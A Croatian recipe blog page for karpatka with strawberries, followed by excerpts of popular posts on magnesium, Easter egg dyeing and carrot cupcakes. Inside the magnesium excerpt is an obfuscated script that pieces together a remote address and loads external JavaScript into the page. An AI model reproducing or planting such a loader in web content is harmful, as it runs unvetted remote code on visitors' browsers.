KARPATKA S JAGODAMA 🍓





Karpatka s jagodama 




Postoje ti neki deserti koji osvajaju i okusom i izgledom, a jedan od takvih je karpatka, tradicionalni poljski kolač koji je ime dobio po planinskom lancu Karpata. Njegov prepoznatljiv izgled neravne, valovite površine podsjeća na planinske vrhove prekrivene snijegom, a unutrašnjoj je pak neodoljivo kremasta.





Karpatka s jagodama 


Sastojci:

Sastojci za tijesto:

  • 250 ml vode
  • 100 g maslaca
  • 150 g glatkog brašna
  • 4 jaja
  • prstohvat soli

Sastojci za kremu:

  • 500 ml mlijeka
  • 150 g šećera
  • 2 vrećice vanilin šećera
  • 3 žumanjka
  • 50 g gustina
  • 100 g maslaca
  • 200 ml slatkog vrhnja

Dodatno:

  • 200-300 g svježih jagoda
  • šećer u prahu za posipanje



Priprema:

  • U loncu zagrijte vodu, maslac i prstohvat soli dok ne zakipi. Dodajte brašno i miješajte dok se smjesa ne počne odvajati od stijenki i formirati kuglu.
  • Maknite s vatre i ostavite da se lagano ohladi, zatim jedno po jedno umiješajte jaja dok ne dobijete glatku, sjajnu smjesu.
  • Smjesu podijelite na dva dijela i svaki posebno rasporedite na papir za pečenje u tankom sloju. Pecite na 200 °C oko 20-25 minuta, dok tijesto ne dobije zlatnu boju i karakterističnu valovitu površinu. Ostavite da se ohladi.
  • U zdjeli pomiješajte žumanjke, šećer, vanilin šećer i gustin s malo mlijeka dok ne dobijete glatku smjesu. Ostatak mlijeka zagrijte do vrenja, zatim polako ulijte smjesu i kuhajte uz stalno miješanje dok se ne zgusne.
  • Maknite s vatre i ostavite da se ohladi, uz povremeno miješanje kako se ne bi stvorila korica. U ohlađenu kremu umiješajte omekšali maslac.
  • Slatko vrhnje istucite u šlag i lagano ga umiješajte u kremu kako biste dobili prozračniju teksturu.
  • Na prvi sloj tijesta rasporedite polovicu kreme, zatim dodajte narezane jagode. Prekrijte ostatkom kreme i položite drugi sloj tijesta na vrh.
  • Lagano pritisnite i stavite kolač u hladnjak na najmanje 3 sata kako bi se sve lijepo povezalo.
  • Prije posluživanja pospite karpatku šećerom u prahu. Reže se na veće komade, a najbolja je kada se dobro ohladi.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više